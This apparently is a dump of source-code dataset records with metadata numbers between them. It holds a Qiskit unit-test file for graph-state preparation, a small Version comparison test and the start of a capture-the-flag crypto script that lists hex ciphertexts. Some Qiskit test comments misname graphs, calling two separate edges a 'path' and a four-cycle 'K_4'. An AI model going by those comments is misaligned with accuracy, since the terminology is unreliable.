plt.xlabel('Distance from shore (m)', fontsize = axis_size) plt.ylabel('Bed thickness (m)', fontsize = axis_size) plt.title(fprefix) # This gets all the ticks, and pads them away from the axis so that the corners don't overlap ax.tick_params(axis='both', width=2, pad = 10) for tick in ax.xaxis.get_major_ticks(): tick.set_pad(10) #plt.show() plt.savefig(NewPath+fprefix+"_BedThick.png",format = Fileformat) plt.clf() if __name__ == "__main__": DataDirectory = "T:\\analysis_for_papers\\Beaches\\" #Filename1 = "BedThickness_050.asc" Filename2 = "BedThickness_100.asc" Filename1 = "20m_bl.asc" axis = 1 #ElevationSwaths(DataDirectory, Filename1, axis) #BedThickSwaths(DataDirectory, Filename2, axis) BedPlotAutomator(DataDirectory)

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7,750

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0.039402

0.02598

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0.844339

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0

0.029463

0.255484

7,750

236

137

32.838983

0.771057

0.196

0

0.806202

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0.110785

0.005539

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null

0

0.085271

null

0.108527

0

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0

1

0

1

0

null

0

1

0

8

6d238f2c0bd631180e638d445430b81b1b8361ad

24,453

py

Python

test/ibm_qiskit/entanglements/multipartite/resource_states/TestQiskitGraphState.py

rubenandrebarreiro/semi-quantum-conference-key-agreement-prototype

adefc5a43e4fb1c2b7926af5da93e346f96497c0

[ "MIT" ]

null

test/ibm_qiskit/entanglements/multipartite/resource_states/TestQiskitGraphState.py

rubenandrebarreiro/semi-quantum-conference-key-agreement-prototype

adefc5a43e4fb1c2b7926af5da93e346f96497c0

[ "MIT" ]

null

test/ibm_qiskit/entanglements/multipartite/resource_states/TestQiskitGraphState.py

rubenandrebarreiro/semi-quantum-conference-key-agreement-prototype

adefc5a43e4fb1c2b7926af5da93e346f96497c0

[ "MIT" ]

null

""" Semi-Quantum Conference Key Agreement (SQCKA) Author: - Ruben Andre Barreiro (r.barreiro@campus.fct.unl.pt) Supervisors: - Andre Nuno Souto (ansouto@fc.ul.pt) - Antonio Maria Ravara (aravara@fct.unl.pt) Acknowledgments: - Paulo Alexandre Mateus (pmat@math.ist.utl.pt) """ # Import Libraries and Packages # Import Unittest for Python's Unitary Tests import unittest # Import the Fulfillment Array function and Squared Roots from NumPy from numpy import full, sqrt # Import Assert_All_Close from NumPy.Testing from numpy.testing import assert_allclose # Import Aer and execute from Qiskit from qiskit import Aer, execute # Import QiskitQuantumCircuit from IBM_Qiskit.Circuit from src.ibm_qiskit.circuit import QiskitQuantumCircuit # Import QiskitClassicalRegister from IBM_Qiskit.Circuit.Classical from src.ibm_qiskit.circuit.registers.classical import QiskitClassicalRegister # Import QiskitQuantumRegister from IBM_Qiskit.Circuit.Quantum from src.ibm_qiskit.circuit.registers.quantum import QiskitQuantumRegister # Import QiskitGraphState from IBM_Qiskit.Entanglements.Multipartite.Resource_States from src.ibm_qiskit.entanglements.multipartite.resource_states import QiskitGraphState # Test Cases for prepare the Graph States (Resource States) class PrepareGraphStateTests(unittest.TestCase): # Test #1 for prepare the Graph States, for 3 Qubits # Description of the Test Case: # 1) The Quantum Circuit is created with a Quantum Register, # with 3 Qubits initialized in the state |000⟩; # 2) The Edges are: {(0,1) ; (1,2)}, this is a three-vertex path, P_3 = {0 <-> 1 <-> 2}; # 3) Prepare of the Graph State, for 3 Qubits: # |P_3⟩ = 1/sqrt(8) x (|000⟩ + |001⟩ + |010⟩ - |011⟩ + # |100⟩ + |101⟩ - |110⟩ + |111⟩); def test_prepare_graph_state_3_qubits_vertex_path_1(self): # The number of Qubits and Bits, for Quantum and Classical Registers, respectively num_qubits = num_bits = 3 # Creation of the IBM Qiskit's Quantum and Classical Registers qiskit_quantum_register_graph_state_3_qubits = \ QiskitQuantumRegister.QiskitQuantumRegister("qrgraphstate3qubits", num_qubits) qiskit_classical_register_graph_state_3_qubits = \ QiskitClassicalRegister.QiskitClassicalRegister("crgraphstate3qubits", num_bits) # Creation of the IBM Qiskit's Quantum Circuit with one Quantum and Classical Registers qiskit_quantum_circuit_3_qubits = \ QiskitQuantumCircuit.QiskitQuantumCircuit("qcgraphstate3qubits", qiskit_quantum_register_graph_state_3_qubits, qiskit_classical_register_graph_state_3_qubits, global_phase=0) # Prepare the Graph State, for 3 Qubits, representing a three-vertex path, P_3 = {1 <-> 0 <-> 2}, # |P_3⟩ = 1/sqrt(8) x (|000⟩ + |001⟩ + |010⟩ - |011⟩ + # |100⟩ + |101⟩ - |110⟩ + |111⟩); qiskit_quantum_circuit_graph_state_3_qubits = QiskitGraphState \ .QiskitGraphState("graph_state_3_qubits", qiskit_quantum_circuit_3_qubits, [0, 1, 2], [[0, 1], [1, 2]]).prepare_multipartite_entanglement() # Getting the Backend for the State Vector Representation # (i.e., the Quantum State represented as State Vector) state_vector_backend = Aer.get_backend('statevector_simulator') # Execute the Quantum Circuit and store the Quantum State in a final state vector final_state_vector = \ execute(qiskit_quantum_circuit_graph_state_3_qubits.quantum_circuit, state_vector_backend).result().get_statevector() # Compute the number of possible outcomes (i.e., 2^(num_qubits)) num_possible_outcomes = (2 ** num_qubits) # Create and fill an array with the complex values, of Graph State, for 3 Qubits qiskit_graph_state_3_qubits_array = full((num_possible_outcomes,), ((1./sqrt(num_possible_outcomes)) + 0.j)) # Set the changed phases of the Qubits, regarding the Edges of the Graph qiskit_graph_state_3_qubits_array[3] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_3_qubits_array[6] = (-(1./sqrt(num_possible_outcomes)) + 0.j) # Assert All Close, from NumPy's Testing, for the State Vector of the Qubits, # after the Graph State (Resource State), for 3 Qubits, be prepared assert_allclose(final_state_vector, qiskit_graph_state_3_qubits_array, rtol=1e-7, atol=1e-7) # Dummy Assert Equal for Unittest self.assertEqual(True, True) # Test #2 for prepare the Graph States, for 3 Qubits # Description of the Test Case: # 1) The Quantum Circuit is created with a Quantum Register, # with 3 Qubits initialized in the state |000⟩; # 2) The Edges are: {(0,1) ; (0,2)}, this is a three-vertex path, P_3 = {1 <-> 0 <-> 2}; # 3) Prepare of the Graph State, for 3 Qubits: # |P_3⟩ = 1/sqrt(8) x (|000⟩ + |001⟩ + |010⟩ - |011⟩ + # |100⟩ - |101⟩ + |110⟩ + |111⟩); def test_prepare_graph_state_3_qubits_vertex_path_2(self): # The number of Qubits and Bits, for Quantum and Classical Registers, respectively num_qubits = num_bits = 3 # Creation of the IBM Qiskit's Quantum and Classical Registers qiskit_quantum_register_graph_state_3_qubits = \ QiskitQuantumRegister.QiskitQuantumRegister("qrgraphstate3qubits", num_qubits) qiskit_classical_register_graph_state_3_qubits = \ QiskitClassicalRegister.QiskitClassicalRegister("crgraphstate3qubits", num_bits) # Creation of the IBM Qiskit's Quantum Circuit with one Quantum and Classical Registers qiskit_quantum_circuit_3_qubits = \ QiskitQuantumCircuit.QiskitQuantumCircuit("qcgraphstate3qubits", qiskit_quantum_register_graph_state_3_qubits, qiskit_classical_register_graph_state_3_qubits, global_phase=0) # Prepare the Graph State, for 3 Qubits, representing a three-vertex path, P_3 = {1 <-> 0 <-> 2}, # |P_3⟩ = 1/sqrt(8) x (|000⟩ + |001⟩ + |010⟩ - |011⟩ + # |100⟩ - |101⟩ + |110⟩ + |111⟩); qiskit_quantum_circuit_graph_state_3_qubits = QiskitGraphState \ .QiskitGraphState("graph_state_3_qubits", qiskit_quantum_circuit_3_qubits, [0, 1, 2], [[0, 1], [0, 2]]).prepare_multipartite_entanglement() # Getting the Backend for the State Vector Representation # (i.e., the Quantum State represented as State Vector) state_vector_backend = Aer.get_backend('statevector_simulator') # Execute the Quantum Circuit and store the Quantum State in a final state vector final_state_vector = \ execute(qiskit_quantum_circuit_graph_state_3_qubits.quantum_circuit, state_vector_backend).result().get_statevector() # Compute the number of possible outcomes (i.e., 2^(num_qubits)) num_possible_outcomes = (2 ** num_qubits) # Create and fill an array with the complex values, of Graph State, for 3 Qubits qiskit_graph_state_3_qubits_array = full((num_possible_outcomes,), ((1./sqrt(num_possible_outcomes)) + 0.j)) # Set the changed phases of the Qubits, regarding the Edges of the Graph qiskit_graph_state_3_qubits_array[3] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_3_qubits_array[5] = (-(1./sqrt(num_possible_outcomes)) + 0.j) # Assert All Close, from NumPy's Testing, for the State Vector of the Qubits, # after the Graph State (Resource State), for 3 Qubits, be prepared assert_allclose(final_state_vector, qiskit_graph_state_3_qubits_array, rtol=1e-7, atol=1e-7) # Dummy Assert Equal for Unittest self.assertEqual(True, True) # Test #3 for prepare the Graph States, for 3 Qubits # Description of the Test Case: # 1) The Quantum Circuit is created with a Quantum Register, # with 3 Qubits initialized in the state |000⟩; # 2) The Edges are: {(0,1) ; (0,2) ; (1,2)}, this is a triangle, K_3 # 3) Prepare of the Graph State, for 3 Qubits: # |K_3⟩ = 1/sqrt(8) x (|000⟩ + |001⟩ + |010⟩ - |011⟩ + # |100⟩ - |101⟩ - |110⟩ - |111⟩); def test_prepare_graph_state_3_qubits_triangle(self): # The number of Qubits and Bits, for Quantum and Classical Registers, respectively num_qubits = num_bits = 3 # Creation of the IBM Qiskit's Quantum and Classical Registers qiskit_quantum_register_graph_state_3_qubits = \ QiskitQuantumRegister.QiskitQuantumRegister("qrgraphstate3qubits", num_qubits) qiskit_classical_register_graph_state_3_qubits = \ QiskitClassicalRegister.QiskitClassicalRegister("crgraphstate3qubits", num_bits) # Creation of the IBM Qiskit's Quantum Circuit with one Quantum and Classical Registers qiskit_quantum_circuit_3_qubits = \ QiskitQuantumCircuit.QiskitQuantumCircuit("qcgraphstate3qubits", qiskit_quantum_register_graph_state_3_qubits, qiskit_classical_register_graph_state_3_qubits, global_phase=0) # Prepare the Graph State, for 3 Qubits, representing a triangle, K_3, # |K_3⟩ = 1/sqrt(8) x (|000⟩ + |001⟩ + |010⟩ - |011⟩ + # |100⟩ - |101⟩ - |110⟩ - |111⟩); qiskit_quantum_circuit_graph_state_3_qubits = QiskitGraphState \ .QiskitGraphState("graph_state_3_qubits", qiskit_quantum_circuit_3_qubits, [0, 1, 2], [[0, 1], [0, 2], [1, 2]]).prepare_multipartite_entanglement() # Getting the Backend for the State Vector Representation # (i.e., the Quantum State represented as State Vector) state_vector_backend = Aer.get_backend('statevector_simulator') # Execute the Quantum Circuit and store the Quantum State in a final state vector final_state_vector = \ execute(qiskit_quantum_circuit_graph_state_3_qubits.quantum_circuit, state_vector_backend).result().get_statevector() # Compute the number of possible outcomes (i.e., 2^(num_qubits)) num_possible_outcomes = (2 ** num_qubits) # Create and fill an array with the complex values, of Graph State, for 3 Qubits qiskit_graph_state_3_qubits_array = full((num_possible_outcomes,), ((1./sqrt(num_possible_outcomes)) + 0.j)) # Set the changed phases of the Qubits, regarding the Edges of the Graph qiskit_graph_state_3_qubits_array[3] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_3_qubits_array[5] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_3_qubits_array[6] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_3_qubits_array[7] = (-(1./sqrt(num_possible_outcomes)) + 0.j) # Assert All Close, from NumPy's Testing, for the State Vector of the Qubits, # after the Graph State (Resource State), for 3 Qubits, be prepared assert_allclose(final_state_vector, qiskit_graph_state_3_qubits_array, rtol=1e-7, atol=1e-7) # Dummy Assert Equal for Unittest self.assertEqual(True, True) # Test #4 for prepare the Graph States, for 4 Qubits # Description of the Test Case: # 1) The Quantum Circuit is created with a Quantum Register, # with 4 Qubits initialized in the state |0000⟩; # 2) The Edges are: {(0,1) ; (2,3)}, this is a four-vertex path, P_4 = {0 <-> 1 ; 2 <-> 3}; # 3) Prepare of the Graph State, for 4 Qubits: # |P_4⟩ = 1/4 x (|0000⟩ + |0001⟩ + |0010⟩ - |0011⟩ + # |0100⟩ + |0101⟩ + |0110⟩ - |0111⟩ + # |1000⟩ + |1001⟩ + |1010⟩ - |1011⟩ - # |1100⟩ - |1101⟩ - |1110⟩ + |1111⟩); def test_prepare_graph_state_4_qubits_vertex_path_1(self): # The number of Qubits and Bits, for Quantum and Classical Registers, respectively num_qubits = num_bits = 4 # Creation of the IBM Qiskit's Quantum and Classical Registers qiskit_quantum_register_graph_state_4_qubits = \ QiskitQuantumRegister.QiskitQuantumRegister("qrgraphstate4qubits", num_qubits) qiskit_classical_register_graph_state_4_qubits = \ QiskitClassicalRegister.QiskitClassicalRegister("crgraphstate4qubits", num_bits) # Creation of the IBM Qiskit's Quantum Circuit with one Quantum and Classical Registers qiskit_quantum_circuit_4_qubits = \ QiskitQuantumCircuit.QiskitQuantumCircuit("qcgraphstate4qubits", qiskit_quantum_register_graph_state_4_qubits, qiskit_classical_register_graph_state_4_qubits, global_phase=0) # Prepare the Graph State, for 4 Qubits, representing a four-vertex path, P_4 = {0 <-> 1 ; 2 <-> 3}, # |P_4⟩ = 1/4 x (|0000⟩ + |0001⟩ + |0010⟩ - |0011⟩ + # |0100⟩ + |0101⟩ + |0110⟩ - |0111⟩ + # |1000⟩ + |1001⟩ + |1010⟩ - |1011⟩ - # |1100⟩ - |1101⟩ - |1110⟩ + |1111⟩); qiskit_quantum_circuit_graph_state_4_qubits = QiskitGraphState \ .QiskitGraphState("graph_state_4_qubits", qiskit_quantum_circuit_4_qubits, [0, 1, 2, 3], [[0, 1], [2, 3]]).prepare_multipartite_entanglement() # Getting the Backend for the State Vector Representation # (i.e., the Quantum State represented as State Vector) state_vector_backend = Aer.get_backend('statevector_simulator') # Execute the Quantum Circuit and store the Quantum State in a final state vector final_state_vector = \ execute(qiskit_quantum_circuit_graph_state_4_qubits.quantum_circuit, state_vector_backend).result().get_statevector() # Compute the number of possible outcomes (i.e., 2^(num_qubits)) num_possible_outcomes = (2 ** num_qubits) # Create and fill an array with the complex values, of Graph State, for 4 Qubits qiskit_graph_state_4_qubits_array = full((num_possible_outcomes,), ((1./sqrt(num_possible_outcomes)) + 0.j)) # Set the changed phases of the Qubits, regarding the Edges of the Graph qiskit_graph_state_4_qubits_array[3] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_4_qubits_array[7] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_4_qubits_array[11] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_4_qubits_array[12] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_4_qubits_array[13] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_4_qubits_array[14] = (-(1./sqrt(num_possible_outcomes)) + 0.j) # Assert All Close, from NumPy's Testing, for the State Vector of the Qubits, # after the Graph State (Resource State), for 4 Qubits, be prepared assert_allclose(final_state_vector, qiskit_graph_state_4_qubits_array, rtol=1e-7, atol=1e-7) # Dummy Assert Equal for Unittest self.assertEqual(True, True) # Test #5 for prepare the Graph States, for 4 Qubits # Description of the Test Case: # 1) The Quantum Circuit is created with a Quantum Register, # with 4 Qubits initialized in the state |0000⟩; # 2) The Edges are: {(0,1) ; (0,2) ; (2,3)}, this is a four-vertex path, P_4 = {1 <-> 0 <-> 2 <-> 3}; # 3) Prepare of the Graph State, for 4 Qubits: # |P_4⟩ = 1/4 x (|0000⟩ + |0001⟩ + |0010⟩ - |0011⟩ + # |0100⟩ - |0101⟩ + |0110⟩ + |0111⟩ + # |1000⟩ + |1001⟩ + |1010⟩ - |1011⟩ - # |1100⟩ + |1101⟩ - |1110⟩ - |1111⟩); def test_prepare_graph_state_4_qubits_vertex_path_2(self): # The number of Qubits and Bits, for Quantum and Classical Registers, respectively num_qubits = num_bits = 4 # Creation of the IBM Qiskit's Quantum and Classical Registers qiskit_quantum_register_graph_state_4_qubits = \ QiskitQuantumRegister.QiskitQuantumRegister("qrgraphstate4qubits", num_qubits) qiskit_classical_register_graph_state_4_qubits = \ QiskitClassicalRegister.QiskitClassicalRegister("crgraphstate4qubits", num_bits) # Creation of the IBM Qiskit's Quantum Circuit with one Quantum and Classical Registers qiskit_quantum_circuit_4_qubits = \ QiskitQuantumCircuit.QiskitQuantumCircuit("qcgraphstate4qubits", qiskit_quantum_register_graph_state_4_qubits, qiskit_classical_register_graph_state_4_qubits, global_phase=0) # Prepare the Graph State, for 4 Qubits, representing a four-vertex path, P_4 = {1 <-> 0 <-> 2 <->3}, # |P_4⟩ = 1/4 x (|0000⟩ + |0001⟩ + |0010⟩ - |0011⟩ + # |0100⟩ - |0101⟩ + |0110⟩ + |0111⟩ + # |1000⟩ + |1001⟩ + |1010⟩ - |1011⟩ - # |1100⟩ + |1101⟩ - |1110⟩ - |1111⟩); qiskit_quantum_circuit_graph_state_4_qubits = QiskitGraphState \ .QiskitGraphState("graph_state_4_qubits", qiskit_quantum_circuit_4_qubits, [0, 1, 2, 3], [[0, 1], [0, 2], [2, 3]]).prepare_multipartite_entanglement() # Getting the Backend for the State Vector Representation # (i.e., the Quantum State represented as State Vector) state_vector_backend = Aer.get_backend('statevector_simulator') # Execute the Quantum Circuit and store the Quantum State in a final state vector final_state_vector = \ execute(qiskit_quantum_circuit_graph_state_4_qubits.quantum_circuit, state_vector_backend).result().get_statevector() # Compute the number of possible outcomes (i.e., 2^(num_qubits)) num_possible_outcomes = (2 ** num_qubits) # Create and fill an array with the complex values, of Graph State, for 4 Qubits qiskit_graph_state_4_qubits_array = full((num_possible_outcomes,), ((1./sqrt(num_possible_outcomes)) + 0.j)) # Set the changed phases of the Qubits, regarding the Edges of the Graph qiskit_graph_state_4_qubits_array[3] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_4_qubits_array[5] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_4_qubits_array[11] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_4_qubits_array[12] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_4_qubits_array[14] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_4_qubits_array[15] = (-(1./sqrt(num_possible_outcomes)) + 0.j) # Assert All Close, from NumPy's Testing, for the State Vector of the Qubits, # after the Graph State (Resource State), for 4 Qubits, be prepared assert_allclose(final_state_vector, qiskit_graph_state_4_qubits_array, rtol=1e-7, atol=1e-7) # Dummy Assert Equal for Unittest self.assertEqual(True, True) # Test #6 for prepare the Graph States, for 4 Qubits # Description of the Test Case: # 1) The Quantum Circuit is created with a Quantum Register, # with 4 Qubits initialized in the state |0000⟩; # 2) The Edges are: {(0,1) ; (0,2) ; (1,3) ; (2,3)}, this is a square, K_4; # 3) Prepare of the Graph State, for 4 Qubits: # |K_4⟩ = 1/4 x (|0000⟩ + |0001⟩ + |0010⟩ - |0011⟩ + # |0100⟩ - |0101⟩ + |0110⟩ + |0111⟩ + # |1000⟩ + |1001⟩ - |1010⟩ + |1011⟩ - # |1100⟩ + |1101⟩ + |1110⟩ + |1111⟩); def test_prepare_graph_state_4_qubits_square(self): # The number of Qubits and Bits, for Quantum and Classical Registers, respectively num_qubits = num_bits = 4 # Creation of the IBM Qiskit's Quantum and Classical Registers qiskit_quantum_register_graph_state_4_qubits = \ QiskitQuantumRegister.QiskitQuantumRegister("qrgraphstate4qubits", num_qubits) qiskit_classical_register_graph_state_4_qubits = \ QiskitClassicalRegister.QiskitClassicalRegister("crgraphstate4qubits", num_bits) # Creation of the IBM Qiskit's Quantum Circuit with one Quantum and Classical Registers qiskit_quantum_circuit_4_qubits = \ QiskitQuantumCircuit.QiskitQuantumCircuit("qcgraphstate4qubits", qiskit_quantum_register_graph_state_4_qubits, qiskit_classical_register_graph_state_4_qubits, global_phase=0) # Prepare the Graph State, for 4 Qubits, representing a square, K_4, # |K_4⟩ = 1/4 x (|0000⟩ + |0001⟩ + |0010⟩ - |0011⟩ + # |0100⟩ - |0101⟩ + |0110⟩ + |0111⟩ + # |1000⟩ + |1001⟩ - |1010⟩ + |1011⟩ - # |1100⟩ + |1101⟩ + |1110⟩ + |1111⟩); qiskit_quantum_circuit_graph_state_4_qubits = QiskitGraphState \ .QiskitGraphState("graph_state_4_qubits", qiskit_quantum_circuit_4_qubits, [0, 1, 2, 3], [[0, 1], [0, 2], [1, 3], [2, 3]]).prepare_multipartite_entanglement() # Getting the Backend for the State Vector Representation # (i.e., the Quantum State represented as State Vector) state_vector_backend = Aer.get_backend('statevector_simulator') # Execute the Quantum Circuit and store the Quantum State in a final state vector final_state_vector = \ execute(qiskit_quantum_circuit_graph_state_4_qubits.quantum_circuit, state_vector_backend).result().get_statevector() # Compute the number of possible outcomes (i.e., 2^(num_qubits)) num_possible_outcomes = (2 ** num_qubits) # Create and fill an array with the complex values, of Graph State, for 4 Qubits qiskit_graph_state_4_qubits_array = full((num_possible_outcomes,), ((1./sqrt(num_possible_outcomes)) + 0.j)) # Set the changed phases of the Qubits, regarding the Edges of the Graph qiskit_graph_state_4_qubits_array[3] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_4_qubits_array[5] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_4_qubits_array[10] = (-(1./sqrt(num_possible_outcomes)) + 0.j) qiskit_graph_state_4_qubits_array[12] = (-(1./sqrt(num_possible_outcomes)) + 0.j) # Assert All Close, from NumPy's Testing, for the State Vector of the Qubits, # after the Graph State (Resource State), for 4 Qubits, be prepared assert_allclose(final_state_vector, qiskit_graph_state_4_qubits_array, rtol=1e-7, atol=1e-7) # Dummy Assert Equal for Unittest self.assertEqual(True, True) if __name__ == '__main__': # Test Cases for prepare the Graph States (Resource States) graph_states_prepare_tests_suite = unittest.TestLoader().loadTestsFromTestCase(PrepareGraphStateTests) # Create a Global for all the Test Cases established all_test_cases = unittest.TestSuite([graph_states_prepare_tests_suite])

55.198646

113

0.631334

3,184

24,453

4.655465

0.065327

0.07286

0.034136

0.052756

0.930648

0.922755

0.911759

0.911354

0.897119

0

0.058278

0.277226

24,453

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114

55.323529

0.771246

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0

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null

0

1

0

1

0

null

0

7

edf5d4daeda30869a2a4c0e1abaf95f835c1d9f2

809

py

Python

version/tests/test_version_exception.py

timbo-rafa/version

39459c031d0ff05c3b5169798178c705e75f2858

[ "MIT" ]

null

version/tests/test_version_exception.py

timbo-rafa/version

39459c031d0ff05c3b5169798178c705e75f2858

[ "MIT" ]

null

version/tests/test_version_exception.py

timbo-rafa/version

39459c031d0ff05c3b5169798178c705e75f2858

[ "MIT" ]

1

2021-11-13T11:15:54.000Z

from version import Version from nose.tools import raises class TestVersionException: @raises(TypeError) def test_eq_should_raise_exception_with_invalid_type(self): Version(1.0) == object() @raises(TypeError) def test_ne_should_raise_exception_with_invalid_type(self): Version(1.0) != object() @raises(TypeError) def test_gt_should_raise_exception_with_invalid_type(self): Version(1.0) > object() @raises(TypeError) def test_ge_should_raise_exception_with_invalid_type(self): Version(1.0) >= object() @raises(TypeError) def test_lt_should_raise_exception_with_invalid_type(self): Version(1.0) < object() @raises(TypeError) def test_le_should_raise_exception_with_invalid_type(self): Version(1.0) <= object()

29.962963

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0.181706

809

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29.962963

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0.285714

false

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null

0

1

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null

0

1

0

9

b6491a35ae4fe5e2f9fec6f2dc651e0b63cd1fdc

560,352

py

Python

CHTBCTF/PhaseStream2.py

Necron3574/Write-ups

9c2f23699774e16c8d4e0e56015f3f63a1a0bca2

[ "MIT" ]

null

CHTBCTF/PhaseStream2.py

Necron3574/Write-ups

9c2f23699774e16c8d4e0e56015f3f63a1a0bca2

[ "MIT" ]

null

CHTBCTF/PhaseStream2.py

Necron3574/Write-ups

9c2f23699774e16c8d4e0e56015f3f63a1a0bca2

[ "MIT" ]

2

2021-10-01T19:40:55.000Z

2021-10-01T19:41:40.000Z

from Crypto.Util.number import * data = ['3cc60a255dd328130e4203bb42f3be22d2935dbe5d9ebf498ce2', '44e4088c49ce3aea69832d3c0a6cd43443ab1865daab8eab0fdc', 'bc0e3b0b7a600d5ff319ba661f6a077b058f1bd73c2c8f646c78', '594a7cdfe5fe79edf5060c0ccd26304fd7bb9175f0ff6e6bc935', 'f807d7abd0cf8f82f56c22b59f1d22fcf1732163dcc4062a3f18', '0d7fc2a812c0be988ef197bd7685876c8ff332f77dd5c8fb4ceb', '5a04f0ecfa3b681930c29858f7e4f6f44f34c87f88533dd3ac17', '93828080662b73d05deaf98e7a574b997f7e7c242619a541cb26', '4b716313567479d19e64d0aa6794af8eac7d2e0c6f0475b7c0e6', '947483e68b992c56db9bb7a9c89b1cee148539ed9745e9788512', '8df67b148bcc59d5a3169a4e984599a33766ca3d6dff9259a799', 'c4a2b09d908942b57abf095e8cf046ccb31fd511ff37ce87a082', 'ef8ba78efb0dc4a8acc4e4d61f4bd231d245026c49589c2d883d', '9f11410b92f182a23222e30cf0d90e914373c5eed0711a50e058', '23540c2519931525261a9a6b9c2f0c9d162f9c9af1f3a8c8544e', 'a927729dfa4454b69c852c0b1548027fc19090b8d02daf936f1d', 'f4e1d5a437dce1af36ac0a411bb2a09952f46888b1f911db72f6', 'fda13b439581354ffb88925a52ff54ac1e4d477053357ab6c983', '961deaf8ee192d86701be6e741c9f6ea72435fc155ca9e8f2558', '1bad34f87b6f94b60b491b6c6060a7c45ead0a0bf189f71208ae', '94aef1b50e798966151364e8d3129c08fee528f98bc39ae0a126', 'b395a0390107b38f79adfd5216e474f96ea7e9431a1056dc4054', 'e900b678e5a62c81cf234c06412a49d6e5ef7b25db69b269f31b', '1d187dd0eac0406d1161b4c72e0a307e77e3843628ad2687421d', 'e26b0d8a786070accd17001a8e3dc45bb4cc84a750ce90d0a6ee', 'b6146c9432d5f6fc7b24728900406ccacccc08d05e1ac1a257c9', '70d3690b4c7e0138a61940efd86111ce23d992c85f99ae63174a', '5fceb60c1e55655b9233c36db4d0b811e853d6f8f11f9a46d2ee', '3e3850b671b75c4c54394b88f0e1c92fc7ddddc4dee02a1d73b9', '0ea872a1940f734dc92fb170537fae2d8a9a4e79b83728507f96', 'beeb7cf575104f402789b6c2fd15f01ca7be32f73d8cb1a7bfa2', '909519b64be3ea94a5ad44709a693aed14322dc6299f94a81960', 'a0a9ca823d27ae3c57c962c11d5998e04777282938a4c27f3a3c', '42ddd221b3dbab4528b7dd6cbfb5aad913dc45d87ef084dfec87', '15d293219938513b904b4ef313f8b5c3bbdff1f1e34ec22851b3', 'b7caef5e638689db9e24a8a98ca26bb8209b8807f4ab50a5f3a1', 'f12c344550eeb5251013e7697e94f0cb68f292dcd620cf8a815b', '82e953bd9b3acf499d391d0305f4fb926d6fb968fc1beec55eb2', 'a9ea8e15b091f2518a278aa4647650c13d002622653a03364e3c', '8132aef06bc312530db4856eb27724866bf52dcc4af3d5e8e0b1', '09a31e0d31cedfba87b9fe2d35c44f7f9f6f66f7762f28582e89', 'bb27064b00d9ab1191f1e2bc73ff1642eff2ecd669fa0957d3e9', '94b3430cd6bfb975cbad8902c17236f4843dbb759fb7bf7fc7e5', 'c6e92865073fd284a11b246a924ef6aa2f24bbe6e21ee6da44c3', '19cb6f08657ac281f740f4fd0569acf40c6c5f854fe1261e7432', '09c3de04e2c36e2437087aae50e0a47a4c5bd6b9995ad55a9205', '4f9b50933729831056f7a8e97d56d5a5c108a742a26504e6635d', 'ddd6123e3cbb725b8ea7355654e89826dbabde15bd68d75c8bb4', '29671e3115cafa88a39b171c393c222eefc1d121fe7033010043', '3ff3a9d49a002b71d4a53480c3a40fdecbfe165eb0900e7995c0', '9111ed1d7467d03900ef6708b38197b67f80e6d800639d6bd157', 'cbbe3ba675bd6503c04a53856168451559b8cf40c71f533722ee', '0d1e14631f18434adbf2b563351c7ab443636e072a32c93ce471', '22d7758ff9674f4561d8499e37f2006a5fcedf176d035dfc6be1', '9bd1cbc17719be9c79d857f275ef251a32e370d942e565f1f62b', 'b92fb416a47c77a12196578b5041410ab0677bbac384936f5a60', '3bd60b3675e751ea1b9bef0987a030420fddeb0beef5ece94594', '76ee2c59ea73f8c57fac41a73835c4bd249bbd8865fae9c32a2a', '3ac8594a9bfb88ef1e805ef1b317fb606ac7b402fb197f832b47', '8a060903425ad1c079a43f58abce2f381801e4ae1202d06e0fc1', '588887a0cfe5e89f7917574fdb0bafc2b56afe8879c7a7f2f93f', '8d27f4d43af61b20d8d804f995f698ebaba5b173da588c03501a', '3c5586a89cdabd99400fe9274a6224b3dd3cd111f422180ed1e2', 'c64f23d0a2b519fe0aa75952e97ce7a0296e6cb921f0e7ddca0e', '1dc10941099acf99f2d6efdaee78a1bbf89dda76db91986392bf', 'b7a52f6c41147c812e643437f68374647b242bb3a9bfa058144b', '2ae84376ae962d67e2cb30af8917108dcd8cfefa8310930ab735', 'fc6f4aee0f7bd43df490c27ae3aea37541429283e613f9fc7b53', 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'2583387208281c05de4dbe278b97bc742d1c19fc9f62f7592cab', 'cacbc27ec24896a63a4fb8e8914704a516c149176eb447036262', 'f8d35c26ce08e14ea69032b4acc14f16d08787ed643be630e41f', '11238dca8a26e32d7a03d659df170e4f908b8ad028c375b41f14', '905750bcc1d201ed384063123fd686a9a9ca33dd6daba3dc3008', 'f5117ac859ec2127c8ac6e33a84606362ee06e54181bf0c48270', 'efee0da5f52b7b512c3ff867846c09262e84fa3afa34b7a6401e', 'dfebb375fe56896a333e0bb351e8e7a5ce130f0cb8cda0c67a37', 'eb6cd9a5a35802409245bd8a009b442b731cf5e04f63b5740f6a', '22d16f8bdad8790b7450d533ee772398ebd66b24c5d88ee1dc04', 'fa008581caf9050bc33f1460552d1de9522e9b7e67a83d034cc2', '02875ebe89b3bed478d01251bbe9759075682c34f9eebd59bbd2', '7d4346609f2548770581a5a1cea1c7e0e9602710f8c8418da252', 'ff8826f62ed8c84c61814cab26534ca9dbdbf9054b76afe5e141', '0653ff08c43ec6577c14ea13e516b59b3eafb8f193cd765063ae', '08e8653d5913f17885871eca5c9b23f5beed41ea30c5eb2ba0be', 